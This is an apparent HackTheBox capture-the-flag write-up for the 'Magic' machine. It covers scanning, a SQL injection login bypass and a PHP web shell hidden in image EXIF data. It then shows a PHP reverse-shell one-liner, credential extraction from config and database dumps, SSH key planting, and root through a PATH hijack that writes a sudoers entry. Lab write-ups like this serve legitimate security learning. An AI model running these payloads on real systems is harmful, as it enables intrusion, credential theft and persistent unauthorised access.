Hackthebox writeup - Magic

Wed 27 May 2020

A writeup of how I approached the HTB target Magic. Hackthebox is a fun platform that lets you work on your enumeration, pentesting and hacking skills.

Getting information

Since this is a htb challenge we know the IP of the target, and our first goal is to learn as much as possible about the target.

  • -vv: Verbosity is increased 2x to allow us to see what Nmap is doing during the scan.
  • --reason: Adds a column to our map results for why Nmap classified it that port.
  • -Pn: Tells Nmap to skip the ping test and just scan our provided target since we know it's up (
  • -A: More aggressive scan including OS detection, Version detection, traceroute, script scanning.
  • --osscan-guess: Asks NMAP to guess the OS version if no perfect match found.
  • --version-all: Tries all version probs for every port.
  • -p-: Scan ports 1 - 65535.

PS: db_nmap can take alle the normal nmap options and parameters.

msf5 > db_nmap -vv --reason -Pn -A --osscan-guess --version-all -p-
... a lot of waiting and output here ...
[*] Nmap: PORT      STATE    SERVICE        REASON      VERSION
[*] Nmap: 22/tcp    open     ssh            syn-ack     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: |   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
[*] Nmap: | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClcZO7AyXva0myXqRYz5xgxJ8ljSW1c6xX0vzHxP/Qy024qtSuDeQIRZGYsIR+kyje39aNw6HHxdz50XSBSEcauPLDWbIYLUMM+a0smh7/pRjfA+vqHxEp7e5l9H7Nbb1dzQesANxa1glKsEmKi1N8Yg0QHX0/FciFt1rdES9Y4b3I3gse2mSAfdNWn4ApnGnpy1tUbanZYdRtpvufqPWjzxUkFEnFIPrslKZoiQ+MLnp77DXfIm3PGjdhui0PBlkebTGbgo4+U44fniEweNJSkiaZW/CuKte0j/buSlBlnagzDl0meeT8EpBOPjk+F0v6Yr7heTuAZn75pO3l5RHX
[*] Nmap: |   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
[*] Nmap: | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOVyH7ButfnaTRJb0CdXzeCYFPEmm6nkSUd4d52dW6XybW9XjBanHE/FM4kZ7bJKFEOaLzF1lDizNQgiffGWWLQ=
[*] Nmap: |   256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
[*] Nmap: |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0dM4nfekm9dJWdTux9TqCyCGtW5rbmHfh/4v3NtTU1
[*] Nmap: 80/tcp    open     http           syn-ack     Apache httpd 2.4.29 ((Ubuntu))
[*] Nmap: | http-methods:
[*] Nmap: |_  Supported Methods: GET HEAD POST OPTIONS
[*] Nmap: |_http-server-header: Apache/2.4.29 (Ubuntu)
[*] Nmap: |_http-title: Magic Portfolio
... a lot of waiting and output here ...

msf5 > services

host          port   proto  name            state     info
----          ----   -----  ----            -----     ----  22     tcp    ssh             open      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 Ubuntu Linux; protocol 2.0  80     tcp    http            open      Apache httpd 2.4.29 (Ubuntu)  194    tcp    irc             filtered  838    tcp    unknown         filtered  851    tcp    unknown         filtered  1971   tcp    netop-school    filtered  4568   tcp    bmc-reporting   filtered  5246   tcp    capwap-control  filtered  5317   tcp    hpdevms         filtered  5671   tcp    amqps           filtered  5865   tcp                    filtered  
 ... a lot of filtered ports and output here ...  64380  tcp                    filtered

The usual suspects, http (80) and ssh (22) is open. Also some other ports I never heard about is present and open.

Searching for hidden URLs

I start out by following the webserver route.

magic@kali:~$ nikto -Cgidirs all -host
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2020-05-28 07:47:07 (GMT2)
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ IP address found in the 'location' header. The IP is "".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "".
+ Cookie PHPSESSID created without the httponly flag
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 26470 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2020-05-28 08:08:46 (GMT2) (1299 seconds)
+ 1 host(s) tested

Nikto didnt gave us any interesting information, but lets continue with...

dirb, root, recursive, common.txt:

magic@kali:~$ dirb

DIRB v2.22    
By The Dark Raver

START_TIME: Thu May 28 07:40:27 2020
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt



---- Scanning URL: ----
==> DIRECTORY:                                                                                                                                                                  
==> DIRECTORY:                                                                                                                                                                  
+ (CODE:200|SIZE:4053)                                                                                                                                                        
+ (CODE:403|SIZE:277)

---- Entering directory: ----
==> DIRECTORY:                                                                                                                                                              

---- Entering directory: ----

---- Entering directory: ----

---- Entering directory: ----

---- Entering directory: ----

---- Entering directory: ----

---- Entering directory: ----

END_TIME: Thu May 28 08:08:42 2020

Lets see if there is anything in the uploads folder...

dirb, root, images/uploads, big.txt:

magic@kali:~$ dirb /usr/share/dirb/wordlists/big.txt -r -X .txt,.php
DIRB v2.22    
By The Dark Raver

START_TIME: Thu May 28 21:04:21 2020
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
OPTION: Not Recursive
EXTENSIONS_LIST: (.txt,.php) | (.txt)(.php) [NUM = 2]



---- Scanning URL: ----

END_TIME: Fri May 29 07:20:33 2020

Nothing interesting inside the uploads folder, but lets take a last shot...

dirb, root, big.txt:

magic@kali:~$ dirb /usr/share/dirb/wordlists/big.txt -X .txt,.php,,

DIRB v2.22    
By The Dark Raver

START_TIME: Thu May 28 07:40:37 2020
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
EXTENSIONS_LIST: (.txt,.php,,) | (.txt)(.php)() [NUM = 3]



---- Scanning URL: ----
==> DIRECTORY:                                                                                                                                                                  
==> DIRECTORY:                                                                                                                                                                  
+ (CODE:200|SIZE:4051)                                                                                                                                                        
+ (CODE:200|SIZE:4221)                                                                                                                                                        
+ (CODE:302|SIZE:0)                                                                                                                                                          
+ (CODE:403|SIZE:277)                                                                                                                                                     
+ (CODE:302|SIZE:2957)

---- Entering directory: ----
==> DIRECTORY:                                                                                                                                                              

---- Entering directory: ----

---- Entering directory: ----

---- Entering directory: ----

---- Entering directory: ----

---- Entering directory: ----

---- Entering directory: ----

END_TIME: Fri May 29 08:49:24 2020                                                                                                                                                                           

Interesting... login.php, logout.php, upload.php and a folder server-status. Finally something to start working with.

Bypassing a php login page

We have found a loginpage which we now try to bypass. The first thing to do is to check the sourcecode if there is any hint, i.e a html-comment, a link/tip of which kind of framework (if any) this page belongs to etc. You should probably examine the sourcecode of every page you find, which for us is: login.php, logout.php, upload.php and index.php

In this case there is nothing of interest, so we have to proceed.

In the work with this box I came across something called the ZAP HUD https://github.com/zaproxy/zap-hud which makes you scan for vulnerabilities directly in your web-browser.

when higlighting the red flags on the username/password forms we can read the following:

I ended up with the following (remember to get the white spaces at the end of the string):

username: ZAP' OR '1'='1' -- 
pass: ZAP' OR '1'='1' --

And voila I was inside and able to upload to the site.

Upload something interesting to the page

If you try to upload something to the page you will see that it will not allow anything else than images. So we have to find a way to hide our payload into an image.

magic@kali:~$ exiftool -DocumentName="<?php if(isset(\$_REQUEST['cmd'])){echo '<pre>';\$cmd = (\$_REQUEST['cmd']);system(\$cmd);echo '</pre>';} __halt_compiler();?>" image.php.jpg

Now we can upload the resulting file. Since its an image it will be allowed, even if it contains malicious payload :) The payload is simply executing what we send it through a URL-lookup. Maybe we should send it a command that open a reverse-shell?

Start your nc listener:

magic@kali:~$ nc -lvnp 8080

...since we know that php is installed on the target we will use a php reverse-shell:

php -r '$sock=fsockopen("",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

...encode it properly with a tool, i.e https://meyerweb.com/eric/tools/dencoder/:


...visit the URL:

...and wath you nc listener:

magic@kali:~$ nc -lvnp 8080
listening on [any] 8080 ...
connect to [] from (UNKNOWN) [] 54144
/bin/sh: 0: can't access tty; job control turned off
$ hostname
$ uname -a
Linux ubuntu 5.3.0-42-generic #34~18.04.1-Ubuntu SMP Fri Feb 28 13:42:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Congrats, you are one step closer :)

If you want another type of reverse-shell you can find some here: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Enumeration as www-data user using your nc reverse-shell

www-data@ubuntu:/var/www/Magic/images/uploads$ cd /var/www/Magic
www-data@ubuntu:/var/www/Magic/images/uploads$ cat db.php5
class Database
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

www-data@ubuntu:/var/www/Magic/images/uploads$ mysqldump Magic -u theseus -p > /tmp/dbdump              
Enter password: iamkingtheseus

www-data@ubuntu:/var/www/Magic/images/uploads$ cat /tmp/dbdump
-- MySQL dump 10.13  Distrib 5.7.29, for Linux (x86_64)
-- Host: localhost    Database: Magic
-- ------------------------------------------------------
-- Server version       5.7.29-0ubuntu0.18.04.1
... truncated for the writeup blogpost...
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
... truncated for the writeup blogpost...
-- Dump completed on 2020-06-30  9:41:46
www-data@ubuntu:/var/www/Magic/images/uploads$ su theseus
su theseus
su: must be run from a terminal

Upgrade your shell

We have a password we want to use with the su command, but are not allowed due to our nc reverse-shell does not support it. Lets fix that!

www-data@ubuntu:/var/www/Magic/images/uploads$ su theseus
su theseus
su: must be run from a terminal
www-data@ubuntu:/var/www/Magic/images/uploads$ cd /usr/bin
cd /usr/bin
www-data@ubuntu:/usr/bin$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/usr/bin$ su theseus
su theseus
Password: Th3s3usW4sK1ng
theseus@ubuntu:/usr/bin$ cd

reference: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

Get a real ssh-shell

We have now retrieved the user theseus, but are still inside the nc reverse-shell. Lets make our connection a more one before we proceed.

theseus@ubuntu: echo "ssh-rsa AAA...YNgQ== magic@kali" > ~/.ssh/authorized_keys
echo "ssh-rsa AAA...YNgQ== magic@kali" > ~/.ssh/authorized_keys

Now you have your ssh-keys inplace and can quit your nc reverse-shell connection:

magic@kali:~$ ssh theseus@
Enter passphrase for key '/home/magic/.ssh/id_rsa':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-42-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:

29 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2023.
theseus@ubuntu:~$ cat /home/theseus/user.txt 

Congrats, user is owned. Now on for root!

The quest for root

For this box I found a couple of new hand scripts that I add to my toolbox:

I advice to read up on both of them and test them.

theseus@ubuntu:/tmp$ ./suid3num.py 
  ___ _   _ _ ___    _____  _ _   _ __  __ 
 / __| | | / |   \  |__ / \| | | | |  \/  |                                                                                                                                                                  
 \__ \ |_| | | |) |  |_ \ .` | |_| | |\/| |                                                                                                                                                                  
 |___/\___/|_|___/  |___/_|\_|\___/|_|  |_|  twitter@syed__umar

... truncated ...
[~] Custom SUID Binaries (Interesting Stuff)                                                                                                                                                                 
... truncated ...

... inspect the interesting suid binary:

theseus@ubuntu:/tmp$ strings /bin/sysinfo
.. truncated ...
popen() failed!                                                                                                                                                                                              
====================Hardware Info====================                                                                                                                                                        
lshw -short                                                                                                                                                                                                  
====================Disk Info====================                                                                                                                                                            
fdisk -l                                                                                                                                                                                                     
====================CPU Info====================                                                                                                                                                             
cat /proc/cpuinfo                                                                                                                                                                                            
====================MEM Usage=====================                                                                                                                                                           
free -h        
.. truncated ..

... cool, lets replace the lshw binary with our own code:

theseus@ubuntu:/tmp# cat lshw                                                                                                                                                                                   
echo "theseus ALL = (ALL) PASSWD: ALL" > /etc/sudoers.d/10-theseus

... now we have to override the pathvariable so that it preferes our version of lshw instead of the one provided by the system:

theseus@ubuntu:/tmp$ which lshw                                                                                                                                                                              
theseus@ubuntu:/tmp$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/tmp
theseus@ubuntu:/tmp$ /bin/sysinfo

... our code is executed so we can restore the original PATH environment variable:

theseus@ubuntu:/tmp$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/usr/bin

... escalate:

theseus@ubuntu:/tmp$ sudo su -                                                                                                                                                                
root@ubuntu:~# whoami
root@ubuntu:~# cat /root/root.txt                                                                                                                                                                            


You have now got both the user AND the root flag for the htb Magic.